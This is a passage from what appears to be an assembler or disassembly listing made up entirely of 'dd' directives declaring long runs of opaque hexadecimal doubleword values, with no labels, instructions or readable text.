0AE423C2Eh dd 0A43A490Eh, 75149BD3h, 4BF70A2h, 3E86C984h, 5624F5ECh dd 51B602BEh, 70746D0Fh, 1989491Fh, 881C54E5h, 0F12803FEh dd 336DAF0Ah, 0D917DC3Bh, 54112BF2h, 0A2C5108Fh, 684FBE00h dd 0E6817C76h, 6F44CA0Fh, 1EAF252Dh, 0E019546h, 69E2950Ah dd 9BDB8077h, 1392A168h, 0C5DEA21h, 20607A2h, 0FC096C90h dd 0F2200803h, 8BF35E08h, 0E28076B9h, 45C3B435h, 0D8A9C259h dd 3003240Ah, 0D9CC8C51h, 4E6DF280h, 0D7D7ADD3h, 0E9C258ACh dd 0FD7ED426h, 2F1C07A5h, 0CA5AD6A3h, 197BD3FDh, 0C668530Ah dd 4EA41BF5h, 59A709A0h, 443D760Ah, 960F136h, 0B7992FA8h dd 0BEA1C42Ah, 41B3B92Ch, 69256BA1h, 2A0CAE09h, 0CB195C13h dd 842EEC12h, 9DCFBA69h, 17FCE909h, 5D660674h, 0F0B90F33h dd 0DF25938h, 780DEE23h, 4C25783Eh, 4FA6440Fh, 0CF3A43B8h dd 7BF2070Ch, 0F1EEE377h dd 95A5851Ah, 42508CE1h, 4FE6A7A9h, 0E9638C9Bh, 1E0A8E05h dd 0C028F64h, 8038826Eh, 0FEAAE60Eh, 96EEA7CEh, 0DCF2F307h dd 89510128h, 869892D1h, 53E70140h, 0B85A723Bh, 17F90164h dd 11E92257h, 10F703F6h, 5A8D4630h, 242E4A01h, 61311820h dd 0B684177Eh, 8A645EE9h, 0E45F7AD3h, 7D7681Ah, 53821F6h dd 0BCF72959h, 351C052Fh, 8EB15B0Ch, 40030682h, 0F3FE2B0Dh dd 4C1AA430h, 0C77F595Ah, 750B053Fh, 3D784782h, 40EF2D16h dd 84049A9h, 0CE219858h, 0CC48012h, 5B0BC02h, 71F34D79h dd 65C27281h, 0B012F0F0h, 0E81D0947h, 20C0631Ch, 0EB971041h dd 0B531FF5Ch, 41FA7D46h, 0B600F80Bh, 0FE5B3070h, 4E28FF28h dd 0E9CB42F0h, 5E01495Ch, 0A4EA0268h, 0C6A80CE7h, 9E1D041Ch dd 10A449E0h, 424514DDh, 81761019h, 7E5E87Bh, 724E74E1h dd 79C7D645h, 102D9EBAh, 342CFA32h, 88378C1Eh, 69956553h dd 3384C8BCh, 0F60E2968h, 0DC45D2F9h, 5AA327CDh, 8A7ADF00h dd 3C2D5860h, 0D49111Fh, 0E9FDC798h, 8D94DDh, 0D70BD8BDh dd 0F5018116h, 15082EC6h, 7C30DDF7h, 0D17D1AE4h, 0DC600C27h dd 0CC33D96h, 0BAB93397h, 1BA8989h, 0C9596DE6h, 5423C130h dd 71687911h, 3DC69751h, 4F31BA4Dh, 64509DA3h, 754313A8h dd 179B0511h, 0BD8CE024h, 89806B9Ah, 0C32E3159h, 1B24C558h dd 37302A16h, 4B3934BAh, 0CADBA118h, 0F11C088Ch, 26C17203h dd 0B056E9h, 2B0CF533h, 0EF017706h, 0D1E5195h, 25229FFDh dd 3F047EEFh, 4380D2F7h, 0E7C36A1h, 0E9D729C5h, 46E5633h dd 168F66A2h, 602A8EB0h, 0CDB9D629h, 3C49B1B5h, 6E892C4Eh dd 0F39D225h, 3FA87619h, 72D45CCBh, 5B090C68h, 41BE5629h dd 603D018Ch, 804040B2h, 1F8A58B5h, 96C3330h, 82B75BDAh dd 9F743E4h, 64691E80h, 81054F03h, 7D3A8ECBh, 3C238405h dd 0DB6128BFh, 90FDDDAAh, 97EF3806h, 9A572F3Ah, 0C582D549h dd 780B0DD7h, 2817587Bh, 406859C1h, 9E61925Ah, 9430DEA0h dd 0D199089Eh, 4FDCFC25h, 0B8C1AE49h, 485D3729h, 84193809h dd 49E97110h, 0CEEBBA4h, 4D27430Fh, 1A9DD060h, 0E7CA57B8h dd 16A58401h, 65F5300Fh, 9D31DC40h, 26884F59h, 0CFDE30E7h dd 1C7B3337h, 0F3363F2Dh, 40FCCB15h, 8E45F52h, 49E9FAB1h dd 0BE79CD1Dh, 7132F602h, 0E8757B7Ch, 72BFEB4Bh, 9F7D5C67h dd 8036851h, 0DC0E045Ah, 0C4618C44h, 0CA62ECADh, 0CA2C0DB9h dd 0E262322Ch, 2608C432h, 0A7E1A31h, 93979655h, 31942DDAh dd 4F9422D9h, 84F40AA8h, 2AA4B1C5h, 0A04066F2h, 99380ABAh dd 8289292Bh, 7EE5E95Eh, 5482B175h, 97215BECh, 7ED29418h dd 5A53C696h, 138AA630h, 22F9DA7Fh, 2DCD022Fh, 142AD927h dd 0A0223266h, 59D10125h, 0CB294624h, 1E4E7AB0h, 31A5A9BCh dd 38288B97h, 62C9C05h, 62007045h, 637654EFh, 0AB029721h dd 0FA549E48h, 372D0380h, 0FA0615ECh, 3BBFB2F5h, 1496C6FEh dd 12E42781h, 96607C47h, 913F521Eh, 0F0CD1D6Dh, 0C13845C1h dd 128203E5h, 361B2A39h, 693D5F4h, 648E7200h, 4C09070Bh dd 45136FE8h, 8453BC43h, 50BF97AAh, 2704ACCFh, 0E8587A42h dd 29ED122Dh, 70A75020h, 0F97F50C2h, 9246B423h, 0C33AA4A8h dd 42A07397h, 8456089Fh, 16BB44h, 409E35D6h, 0F94F01FCh dd 5833DC1Bh, 0DA582650h, 58102D7Eh, 28B4CF7Ah, 69ADD3CBh dd 935390C9h, 6CEC583Bh, 0BD835F88h, 0FC2F74B9h, 9D7C34B8h dd 3BC8F71Ah, 47F7F275h, 8548E97h, 9D9CE915h, 161FF07Bh dd 1F35AE1Ah, 2F624B13h, 0AA8924F6h, 251B5BDEh, 0A5DCA72Fh dd 0E2C0A901h, 8961E003h, 68049093h, 79A3543Fh, 7DE48610h dd 0AE6D1A2Ah, 0CDC02D35h, 1FAF8035h, 2E4D82A9h, 0B08937B5h dd 27085508h, 0F1E77766h, 0FA453A02h, 0B8B2768h, 1741CF2Fh dd 64DB5049h, 0C29D8566h, 206AD6E6h, 7AD900DEh, 0D6015CB0h dd 0AA9EF0E9h, 438B351Fh, 0EACA0010h, 522D7D8Dh, 840A86Ch dd 1A669F58h, 0A0C9D34Fh, 52490A2Bh, 29660DDCh, 0AE1D200Fh dd 0F425994Bh, 41FB1A82h, 0A3A335Ch, 908EE01h, 726290E9h dd 0CE5FB4CAh, 806812E7h, 0EE82CC31h, 0FE2E7E54h, 832F22B7h dd 0D056097Ch, 0FD8820C4h, 0B969CB15h, 8A181F2h, 0A0800402h dd 7D7A60CBh, 689C28h, 0E98D3182h, 38AAB4E4h, 5C98F4C6h dd 34387501h, 5E3C149h, 7DCC5121h, 0A4C7B85Fh, 0E9580CBBh dd 0E2D11812h, 0EA07C0F0h, 13CA8006h, 88BBF230h, 20E91AD0h dd 88426A7Fh, 0AE17B419h, 0E5891ED9h, 0A614DF58h, 5515929Fh dd 0AB2503CDh, 5621620Fh, 0F4E8CEF4h, 49940500h, 0D563Fh dd 715B1A41h, 0F1129C2Dh, 88A0324Fh, 0B4929F14h, 2C3A68C0h dd 26239658h, 0CA92D31Ah, 8EA3F00h, 47CE281h, 0E9104E63h dd 41579227h, 8037F07h, 0F8FBE125h, 94BCA32Ah, 184B2DB5h dd 0B65C5B32h, 1C7609Eh, 0E917283Fh, 1320F6ACh, 5EDD3542h dd 0C6DBE018h, 2D3C6407h, 5A156894h, 0F2272AF3h, 0FE5EB804h dd 8A4F098Ah, 58E913B3h, 5ED0657h, 49C1189Fh, 56123305h dd 0C3E10BB7h, 0E95F0700h, 0F7B79A46h, 0B5FED43Fh, 3D5221E2h dd 46D2021Fh, 0D889028Dh, 0CD9020B9h, 6DD28A4Ah, 9C0B5722h dd 5C5177FEh, 6893333Ah, 0E92A90EDh, 0CABF2A18h, 0DFFE0900h dd 0F6C8D516h, 82E9C202h, 0BF01CB50h, 1029680Eh, 0DEECB951h dd 0A86B4BFAh, 0FD2112E3h, 0E8F5A200h, 0EC42DA0Bh, 3BC01E5h dd 3EE94440h, 0E1BB00A3h, 323F2D4Ah, 8093D88Fh, 0F6C0FE75h dd 34C8D89Fh, 0EA1488E1h, 6809E1CFh, 0A7794F2Dh, 7135788Bh dd 2455A8D9h, 1D043494h, 27590955h, 735A0200h, 0E4BA7A69h dd 15B32958h, 4A8B0CE8h, 433059C9h, 0B5B8959Ah, 59092CB8h dd 0FE31119Eh, 43031675h, 124F6821h, 6FE3B12h, 2DA146A8h dd 6FB505A4h, 923CA7Ah, 0D1C0B6E9h, 7A1B8943h, 245CC562h dd 0EA2820DBh, 20025B90h, 1641F41h, 42542CBh, 25862908h dd 649590CFh, 1E3C6BFCh, 0C54381D8h, 8A761EBAh, 89ED4036h dd 31195C2Ah, 0D444EABDh, 0F478A5F6h, 5BC28827h, 0FE97B4C3h dd 9552692Dh, 9AAEFF5Bh, 0BD66C096h, 0BB0078E4h, 0E748BE3Eh dd 0B01D3B6h, 322AE9EEh, 93A7910h, 417BBB1Fh, 45A45C09h dd 0BE5E3344h, 7C37D7F8h, 9039E09Fh, 2E312E7Eh, 9C910E2h dd 44271468h, 8F9846h, 0FC008D4h, 79EBCA81h, 0E9385806h dd 4E283740h, 30108DADh, 88B52D76h, 87C06F0Dh, 97582F68h dd 0E277B98h, 29413B09h, 59D4994Ch, 0CC662A25h, 965D0C9Ah dd 80EBA40Eh, 1D015B2Bh, 32BDE9D8h, 77C40820h, 5478FC2Dh dd 9109E951h, 0FE01E4D8h, 80D3F6CBh, 0C6CC9CF3h, 0F1DEE0EEh dd 265BABD3h, 108E2012h, 0EAD10009h, 840FC23Bh, 465A9583h dd 940680Eh, 78F77594h, 7F3D722Ah, 27894E97h, 6C7EBD55h dd 0F30B601Dh, 0C1AC1A86h, 0CC2B3370h, 0DB4FA1C9h, 0D80916B3h dd 43C1AE57h, 42283AA9h, 502C01C2h, 0DAE92DFDh, 93B63FE7h dd 0D419F710h, 0E9560B41h, 2F8BDEDCh, 0B2BD0214h, 1C6DEBEh dd 0D9289CB3h, 1CE0F65Bh, 562DE9C8h, 87FE2291h, 505176CFh dd 7A9572E9h, 1D032DBAh, 15743566h, 0BCFA677Ch, 0CD8DE89Dh dd 0E595D7EDh, 9E6F3C99h, 42AA277Ch, 0C2046003h, 6234B417h dd 88003BDCh, 0F2CE86DEh, 96B254A0h, 5D9D0BF1h, 4EF44638h dd 0E6814E1Eh, 4A6C2E51h, 0E875CA70h, 0F7F7C0Ch, 1BE39FF6h dd 83F30165h, 471FC141h dd 5E4FD9F2h, 54B26943h, 8BF42532h, 22EA68C1h, 91C7E22Eh dd 736126F3h, 7EDC184h, 1E7633C0h, 280B7E38h, 0F5695F6h dd 21CE5009h, 0FA9C9264h, 7F585D32h, 897A32C4h, 0BD0496A6h dd 644825C7h, 0ED2C55E8h, 19F5036Fh, 89892245h, 0B16960EBh dd 55698995h, 6AE1CA33h, 8C447AC2h, 5805D749h, 6B72BF30h dd 1D48DCC8h, 84EB9754h, 93D2B226h, 851C30E8h, 6816A0B4h dd 54633053h, 502B2701h, 0E7F2E613h, 8180E0F1h, 103288EFh dd 40CABD22h, 0BD5D0804h, 0A92785AEh, 464621AFh, 5F22C86Fh dd 53A7CB9Fh, 758451C7h, 0B82D007Ah, 0EB4BBC6Bh, 0D6725F3Fh dd 0BAE58178h, 6C8BECD1h, 8F92C298h, 0BF7AD183h, 0D12EE230h dd 304CD8B8h, 0AECC54A1h, 33DB659h, 0F220AFE9h, 0AF676D99h dd 6FCF01D2h, 3B2561B9h, 7D0BF7D5h, 0E0954BD7h, 0F6108011h dd 3EB0BCCEh, 96AC30BBh, 8B48E23h, 0A174E329h, 690B4E0Dh dd 2C798082h, 88D814F9h, 0A9D460B7h, 12119BC2h, 0F19BF952h dd 0BA20515Ah, 0B72F5A83h, 56F74BFAh, 5359E913h, 2121BB6Fh dd 8A3E7633h, 0D2572E52h, 3BA35213h, 0CEF8E413h, 0B05000B4h dd 304DB1EDh, 99E919C1h, 20028D35h, 282BD95h, 0BBB3FAFh dd 2945AAD4h, 565AFF09h, 42DF838Eh, 0D6E3743Fh, 0ED9400DDh dd 0C159B167h, 8102E501h, 0F514EECDh, 8902013Fh, 0F30B210Dh dd 0A12606F8h, 0E20C076Fh, 0E0426A54h, 25941AB7h, 82F4C127h dd 0C6971CACh, 6FEABF00h, 4AE940F8h, 0AC0EC070h, 4BE4512Ch dd 0B54007B0h, 0BAEB809h, 73031635h, 7D56F702h, 0F2F57ECh dd 81C551AEh, 2FE236D5h, 0B9907F31h, 9DEF3721h, 5244BC80h dd 10B7E8Ch, 0F466E9F5h, 0C4ED8746h, 0B50E170Ah, 899C42B3h dd 374058C7h, 37253D9Bh, 1283F03Ch, 0EEA0FAE9h, 0D620B829h dd 0A114B7A8h, 909FC220h, 7538342Ah, 143DAF0Ch, 0E905617Fh dd 44153891h, 0D707E2D3h, 5517E843h, 646F42E6h, 0ED028366h dd 7FE04BBEh, 2A35EFE9h, 9396F22Bh, 47216425h, 0BB8174ECh dd 0F1F20AC3h, 74D53EA7h, 3A15C202h, 29994916h, 6042787Ch dd 0E00FB90h, 0E978C82Ah, 0EAB37910h, 9FB4DC12h, 9C009F7h dd 0A9577C97h, 0E95010CDh, 2809B7A4h, 0D1C45D46h, 6391AB87h dd 0D92F794Bh, 0A7DD600Ch, 4ED11E05h, 3AE0DBE9h, 12299005h dd 0A05B3A58h, 5A12475Ch, 59E8357Ah, 0E0C150Bh, 4A98F580h dd 0F713338Ah, 5A4042D2h, 51B0462h, 5506123Dh, 0CC18BB0Ah dd 2D022C1Ch, 0E4D05E20h, 292E1A03h, 10C7D9E9h, 517EEEA1h dd 3F2F35F4h, 0E52B3389h, 20EF2569h, 0AABD4A22h, 5B251C69h dd 0D0E9C2EDh, 0AA79B4CAh, 0BABC1352h, 140B0FA5h, 0A6CAB079h dd 4612E289h, 6D28E157h, 3C82113h, 310EE804h, 6B5797B1h dd 221029F3h, 0EF80000Fh, 5BFC30DAh, 39BE3168h, 2068BB3h dd 0DF46146h, 92CCA33Ah, 0D88837FEh, 16A51DA4h, 0AC2A5590h dd 0D2D33C2Fh, 7E096E91h, 677C7673h, 88DCBB4Dh, 0F33C5F5Ch dd 41684BA9h, 74035EABh, 96C827Fh, 975C6C5Fh, 5815ECDBh dd 1BE0285h, 0E02D2F31h, 45B19C1h, 0BAE95F17h, 9BD8AE06h dd 294CE712h, 0BF9D24E9h, 5524BB27h, 190BAF24h, 42767B42h dd 0D2E489E2h, 0BB0F292Bh, 72EB0893h, 0B6C82D13h, 0C6F5D5Fh dd 57E9918Ch, 4BEEAF9Fh, 81B92EBBh, 0D8A2EFDh, 3869A640h dd 427767Fh, 8019B0E3h, 30C8BF4Ah, 1B42650h, 0B65EA553h dd 0A9E0E9D0h, 0A12E58F2h, 44E497AEh, 2564354Bh, 708102AFh dd 0BA0088D5h, 0C42E0AE6h, 93028658h, 7F37B607h, 0D6C58A60h dd 895E24C4h, 2D3FCBBBh, 204CE431h, 0AD5885CAh, 17530185h dd 52565D07h, 0B5FB80F8h, 5429DB67h, 4F09C66Ch, 7B6FF4E7h dd 5DC7312h, 0C4C01221h, 2568D264h, 0EAFA13C3h, 0AA16906Eh dd 5E96CB20h, 12AB0A24h, 0B0F7B8E0h, 0B4165568h, 0E8876366h dd 60CFAB02h, 60263401h, 28EF1F13h, 0BDBEAE3Dh, 47D93CAh dd 61D1609Fh, 0CD39E689h, 12D34810h, 140BFE09h, 2537FA14h dd 0FC5AB856h, 4C9AA3FAh, 1E68AD0Bh, 0C4BCF44Ah, 4FC0FF30h dd 9C291FE9h, 1CFA8200h, 0A6806B2Dh, 0A8B711FCh, 76EB092Dh dd 77D60274h, 0B36032E8h, 0AE044CC2h, 9CEEE92Bh, 4EF2BC17h dd 9AD463D5h, 0DC25A881h, 8FDC796h, 4B3FAA6Eh, 67C26ED1h dd 80010C71h, 77E020F0h, 32E9F631h, 5C5D7168h, 8D26E68h dd 83707C82h, 69F63A1Ch, 2AA4F8E9h, 4B9F3CD0h, 98699061h dd 82D09511h, 0B10CD898h, 3A5DA40Bh, 363E164Fh, 0EAE64062h dd 98A5C0FCh, 57C78097h, 0FE5E2ABFh, 0E6E92462h, 3ED6A795h dd 0D1F285E7h, 8825FC79h, 462DAE5Dh, 0FE890BD9h, 0D0123C8Bh dd 5F0A7C1h, 0AFC412AAh, 40354023h, 40CB9A35h, 0A2B75984h dd 0BBBF55Ah, 0E0748775h, 0EC441D27h, 80D4D8BEh, 4860C33Dh dd 4A3438EAh, 0EBC9BA1Eh, 7F2EFF10h, 0B85FE9A2h, 5B9DEBCCh dd 13CAA8B1h, 911E31E9h, 0FD57D7E0h, 1917C17h, 690B441Ch dd 1F04D129h, 0A6934C08h, 0A3B5BF5Ah, 0E1F989A8h, 896B3639h dd 13CA30E7h, 9AB64988h, 34BD0B17h, 42745E71h, 0AF3A439h dd 0C7B40B20h, 2E96A389h, 0A8D3DD74h, 848DAD57h, 0B19C11F0h dd 0D8308BE2h, 0EC702056h, 61C35C28h, 0ECA06322h, 0E92F45B1h dd 662CE175h, 1293D6Bh, 147A7DD5h, 0D0283181h, 0E32E4C2Ch dd 7E79A7FFh, 85C17E7Ah, 0A82DA1E9h, 8FC5C494h, 0DAD170A8h dd 49E06882h, 0CA248B59h, 0AD57BA13h, 0D1895FC7h, 6FDD0C30h dd 0C22D801Ah, 707DD8EBh, 25FA7EB2h, 47D1255Ch, 4E19F42h dd 3092A55Bh, 0F1B523A5h, 121E4DAEh, 657F51B7h, 0AEE9470Bh dd 4EB65AB8h, 7EEC000h, 0C680D6F6h, 210C103h, 2A98C9E9h dd 58F6ED61h, 5C06697Bh, 162DE967h, 0BC3F512Ah, 0EF128E92h dd 742B3877h, 4F2F45B6h, 6D82B991h, 91614F98h, 7C192DC8h dd 0FCE04Ah, 0FAF2CDC9h, 0DB2C8725h, 0F9B900B7h, 0E93497ADh dd 0C61B9E2Dh, 77A42019h, 0E5AD080h, 0C17CEEB8h, 73E82C98h dd 0F756751Fh, 1404F96h, 805AF530h, 0F6BE1DE5h, 55C549DDh dd 0BF02BF84h, 21AB1E75h, 4B760ADh, 0F2A553D5h, 0F65382F1h dd 0B321B1ADh, 5EDE24A5h, 2D04F805h, 0DACBAC81h, 0FA272406h dd 69E6FEAAh, 2742B200h, 0BA071CD7h, 0E328D8C2h, 6AE6BFFEh dd 0DB68D307h, 14B6F68Bh, 0F84F08EEh, 0B40AB51Ch, 0CB82866Eh dd 825A1C70h, 96BB2F5h, 0CD291D0Bh, 0A5261575h, 295B44FCh dd 1C8F20AEh, 582880F8h, 8A7E95Dh, 41C314B7h, 84CC28C1h dd 80E010E9h, 1D90CD8Fh, 0F3D96EB1h, 0C4AC59F0h, 0BFEFD118h dd 58658480h, 0B1B79821h, 806A30D5h, 3A7CF249h, 752B2A31h dd 8E575FFEh, 0E886A9BFh, 27CF2AADh, 0A6521AD7h, 31795E2Ch dd 197F2D50h, 0DE2FF26Ch, 5F074205h, 0DD441140h, 0D13132C0h dd 130FBB5Ah, 12A50E7Bh, 5A4CBDF7h, 4C851D84h, 6ED21FAh dd 0B58674C5h, 0CDFE6B1Eh, 0D545A593h, 33BB4668h, 0AC3D5573h dd 2A981EE7h, 0B72CDD93h, 6551B752h, 9E17572Ch, 8BA28752h dd 0E78AB698h, 226B980h, 9764125h, 0DBE059CEh, 5B0177ADh dd 8BF2811Eh, 0A6429020h, 814AFEF7h, 190512F5h, 11F8212Dh dd 0DD8A04FDh, 2F68653Ch, 899F4EF2h, 4C64B857h, 46E7882Fh dd 9E85F2FDh, 97DCE926h, 0B6D1442h, 0DB031FD6h, 0E10D0758h dd 0CE3B2574h, 90547E2Ch, 0A9053A6h, 0BE63BA09h, 2808D176h dd 4145BFB4h, 26B54649h, 8098DBE9h, 6855F1F7h, 65B50EE4h dd 0CCDB826h, 0F0215B08h dd 9D685E82h, 92B1DF28h, 1EFD0056h, 0A0E5B010h, 38814654h dd 0E21294F6h, 9FF0012Ch, 2B13BE4Fh, 4B83E81Fh, 70B578h dd 79497B0Ch, 1BE5E9BCh, 2539ABEh, 345AB894h, 40D16447h dd 0DC207728h, 9E48C1ACh, 2A4A6102h, 0BD00AAA2h, 0E91B0624h dd 25B5292Ch, 8252E80Dh, 900908F8h, 0F7DC58F4h, 1B7F530Ch dd 0C07003EDh, 0EB2924BBh, 1472342Dh, 0AFCE2515h, 16B0DA94h dd 1CF2544Bh, 0F527B6D4h, 142D35F9h, 2EE92F11h, 2A58EDE1h dd 0DDBA5C32h, 3F2DAFC9h, 2EE922F4h, 92F9A3C4h, 28980BEEh dd 203C5D11h, 6F39C6B8h, 0F2312D82h, 0DE5B9524h, 545CEB20h dd 0FF8E849Bh, 84D9F705h, 0C3A21E35h, 634F8CFh, 4A6C28C1h dd 68660782h, 0A94D417Fh, 82834E20h, 9CA8D576h, 5F8BF740h dd 2D548B3Ch, 0E21DC8BDh, 452F12BEh, 7502EE35h, 7F6B0831h dd 12711E01h, 622DE7EDh, 411DC6B4h, 0C4F87883h, 0D6AFE1F6h dd 0CD2DA2C9h, 0E248790Ch, 0B9006B47h, 4BCD6D56h, 536FC373h dd 203F0F4Ch, 0F8313EBCh, 80B9AA30h, 0C01CB0CBh, 0EBCF02E3h dd 86F32006h, 0E4DA8852h, 37E92AD5h, 684D6599h, 1412C8ABh dd 2161A555h, 5AF77C3Bh, 0B9937DFDh, 661931CAh, 0F26E5208h dd 636809B9h, 4D6531Ah, 0EE30BE56h, 0A1E95402h, 89B4D5D8h dd 87A279C4h, 29429CFAh, 822CC540h, 0B1206ADAh, 6B84C49Ch dd 14AE127Eh, 3344433h, 0A216AAE9h, 263247C0h, 513B3608h dd 0EA03129Ch, 0F750C70Ah, 0CC7203D5h, 0E97DEE01h, 3118A0D4h dd 2EB3C751h, 0A15B9D8Ah, 708032AAh, 0EAEFA09Fh, 27B211F1h dd 66F88910h, 0C968F917h, 4A5E38A4h, 0E225D8D4h, 47A2645h dd 0AF1425A3h, 0B161E631h, 0FB78EF10h, 98DAD03Dh, 0C617A7B6h dd 0F2550FF3h, 43865651h, 319F188Bh, 940714A4h, 278EFE2Dh dd 51CFC266h, 0E766EA0Ah, 0D3139F44h, 83432C80h, 310205FEh dd 0ECCAE9FBh, 0AE35072Fh, 0D2AA5885h, 0EAC8D0AFh, 0A1070934h dd 8E855F6Eh, 89D9FC11h, 0D8935709h, 68C29CF1h, 7606C4ACh dd 231039AAh, 0D3328F4Ch, 5EB4089Ch, 0BC16C90Bh, 9D840A3Dh dd 992868FFh, 5E4E049Dh, 84D42CBEh, 0B0DFF660h, 2E69A2CFh dd 800C689h, 0B800BAFCh, 20B64817h, 4F290F2Dh, 0D8E41DC5h dd 985D0B72h, 0B56961B0h, 0D9281646h, 314BB6E4h, 906F23BCh dd 0A077DBCBh, 3A8BC3B5h, 484A486Dh, 52428707h, 0F5E0F71Eh dd 4025C048h, 4E5F160Bh, 3FE96C03h, 286203CCh, 30EC80D4h dd 45E908D2h, 0B68C3A5Ch, 49B955Ah, 19760C05h, 40C30FEDh dd 8D11BB07h, 1236C6AEh, 0B12484FEh, 9E1ACB7Ch, 9E61DDC7h dd 250A8108h, 6DCB057Bh, 15FAD4CCh, 950192BFh, 208E7F17h dd 0C21263FAh, 0E7812801h, 7D154B0Eh, 3C4CFD8h, 0E919DD40h dd 2E198A91h, 0C0BEE888h, 0C7FCEC4Dh, 0EBB7B6C5h, 0E978A974h dd 22964B4Ch, 0F840B277h, 0DE00B353h, 805BDD88h, 25C067CDh dd 1EF603EDh, 40E9C802h, 20E1C40Ch, 544F8352h, 0FE349E65h dd 6514C401h, 982015ADh, 31542F43h, 9F0CCA50h, 0FA36BC37h dd 51722660h, 7F4E087Eh, 97345817h, 4CDABEC2h, 0BE16C061h dd 73850D56h, 9DEC18B8h, 8114D225h, 1FDC6887h, 0A85E4273h dd 0BF04B4ACh, 71A86826h, 0E907D6DDh, 134526B8h, 12F4E308h dd 0B438AE31h, 6566B52Eh, 207EC348h, 0BA29D67h, 2CE05357h dd 7548EE15h, 239186E9h, 0C9609FA1h, 0B9808818h, 0C0383C2Fh dd 84F18100h, 2170A76Fh, 0C76372B8h, 91AD66D5h, 0F73FD831h dd 0B8027D1Dh, 39E95945h, 31B249C9h, 254062A7h, 4C04E681h dd 554F3805h, 0EBAB2C2h, 0F903F860h, 2ED2096Ch, 34C44E02h dd 2DCA82A7h, 957964C8h, 9F0664EAh, 0F097EB87h, 0F6E69D6Ch dd 2584719Dh, 68055271h, 9B44608Eh, 0BD0079D8h, 1BBE0BF1h dd 3520B4B0h, 9D3590C7h, 5D2C3E4Ch, 76A9627Bh, 18B7208h dd 0B1DBCB8h, 0EB32BB0Dh, 6DC740Dh, 0CC58C189h, 4754A40Fh dd 51CD8118h, 4EE0D6B9h, 0B096BA53h, 1BFDEA1Bh, 2415ACE1h dd 7CDD90D9h, 22E2E7E4h, 0F3D6A075h, 0C721A752h, 0E2530648h dd 2C51D66Fh, 1607204Ch, 0A3494D68h, 0A59713A9h, 0CADEB0B9h dd 81B880DEh, 5523BDCAh, 0E9C3470Ah, 688551DBh, 1CF343D1h dd 68010C2Fh, 6F98B151h, 0AD02BEE1h, 70B507D4h, 506EE580h dd 0F4B25216h, 25E989A0h, 113AFCEEh, 9368E668h, 86283859h dd 42DAFADh, 9C6935C2h, 7E66B833h, 0D512414Bh, 53FD75BAh dd 0E973D80Ch, 1400BD5Bh, 0C71AD6BBh, 400B252h, 6D6385E3h dd 5101BF0Eh, 0A9EAE94Bh, 14B9DB80h, 50271961h, 0BBDBFF8h dd 0BA037F6Fh, 0BEBC4BFEh, 0F2A9BFD5h, 6B0B41h, 0F35C1A66h dd 0AE2FE94Eh, 0A0385B8Ch, 90295EE3h, 78ACDA4h, 0F95E283Dh dd 4BE57784h, 428B9E7h, 0E6C1465Ah, 67C5DB0h, 891583BFh dd 0C75936F7h, 77054CECh, 0A285545Fh, 0D2DEEAA8h, 0B407C448h dd 7540CC20h, 7B3F00B8h, 0D8F728BAh, 32007A0Dh, 0CE3568E2h dd 9F64CD6Bh, 0FC09C516h, 6F1A21h, 5B31D9F7h, 4D0CC003h dd 0F72BF27Fh, 208CD65Ch, 0C4FE2C9Ah, 9FA71E88h, 0F6F93069h dd 0A227D0B5h, 0CF446353h, 545009E8h, 7B8B9A0Bh, 1BDA5C06h dd 4C096812h, 0A2531433h, 0D7F591EBh, 72881664h, 42848D5h dd 1269CE5Fh, 0B18CEB92h, 58B54098h, 1D476639h, 815DD7F7h dd 525A5C0Fh, 5E15D87h, 0F26E43DEh, 0AE0B92E9h, 0F68C14EBh dd 0A822498Dh, 1DF9CE03h, 0C7D0883h, 0F43552Eh, 50C3A915h dd 0E2056A21h, 0C809230Bh, 1379DEBEh, 1CE03DE9h, 17C35A29h dd 7944AFA8h, 0CBEEC289h, 0ACBE28AEh, 9376CA62h, 0ADE70FD7h dd 1FB0C051h, 860C27B1h, 9D0F6C1h, 0A940B5D1h, 0DCA2B0F1h dd 0F2D6054h, 501EE1B3h, 0E0E2FAB4h, 0E05AC476h, 245848E6h dd 7FF3E909h, 5674987Fh, 0EFEDF657h, 6F8BB829h, 46F7BDCh dd 69BE4494h, 0C20A3D6Ah, 5C616368h, 6DBB6072h, 8100675Fh dd 4C5816C9h, 5B76E93Eh, 784DF268h, 89E0AB2Eh, 0B04F7840h dd 0A509DEAh, 809D8975h, 6054C3BDh, 83E91346h, 3CB7F2E8h dd 8049AF5Ch, 5AD128D4h, 1BE11680h, 16E2ED66h, 71AA1D85h dd 4B2E314h, 6AFB79EEh, 0A43214Bh, 0DC832778h, 0B0776C15h dd 58A773F3h, 0ED019E93h, 643B026Fh, 0B6E13B01h, 0D45B0802h dd 876152D9h, 18315506h, 5580BCFh, 2570943Dh, 356D0767h dd 3DCBA0EEh, 0AAE5CDE9h, 1EA475E3h, 80F3D0AAh, 9FF07EF5h dd 68004794h, 10543EB2h, 0E7811D5Fh, 23D7C6h, 6EAEF7D5h dd 89287862h, 0D30CB1FAh, 0DE4B435Ah, 851D0696h, 0E2DBF77Bh dd 3ABB5E09h, 0C4CA4239h, 82A8E85Dh, 3B6CCC00h, 77F67475h dd 5041764Eh, 0C184899h, 750BD160h, 9012011h, 0E002D1F8h dd 38B3302Dh, 7A20D71Ah, 92190DC6h, 2DE91D3Bh, 0C290F677h dd 0A2F923E4h, 1D634388h, 64E20535h, 0D2FD97A9h, 0A5737060h dd 13687A49h, 95F267E9h, 5FD6BE12h, 79EE0188h, 564865AAh dd 0FB28605Bh, 90B8B3Bh, 0B1332068h, 598B80BBh, 0BB4AF121h dd 8D80F378h, 0CF2E4957h, 6E02EB4Ah, 5F47466Bh, 5702B494h dd 491D9868h, 0F7D6804Eh, 502773E1h, 2FE9D01Bh, 71921CB9h dd 0C6505F2h, 0CC002117h, 36D2F281h, 2D5107E1h, 0D04C65B0h dd 0E4264805h, 0AAA17AF9h, 0B3000705h, 354E47CEh, 17E5AE9h dd 54685E61h, 10FB661Bh, 31257AF9h, 0F9A5CBFEh, 0FF506B3Ah dd 0D72408E0h, 44072379h, 78BBE539h, 847AED3Ch, 5661EF49h dd 0A05ADEEh, 0B8301ADh dd 36D1646Ah, 0D673DA83h, 40D7C23Fh, 1291CFB2h, 0FF06986Eh dd 0A9829335h, 801FC6C1h, 0BF6290D4h, 2BBE0FECh, 626DFCC9h dd 14DCC830h, 63EB80C1h, 2127A297h, 2A8090Fh, 6285C1C3h dd 31066800h, 5E0B892Fh, 0F1F3C2A7h, 527227C0h, 7319BA05h dd 0D2015E9Dh, 4DF4B5Ah, 898FC17Eh, 0ED1D49DDh, 0ACE8F5C5h dd 95041D08h, 0A7E98CE9h, 0D7AF52Ch, 0F4562FF3h, 7740E633h dd 0BC7B14DEh, 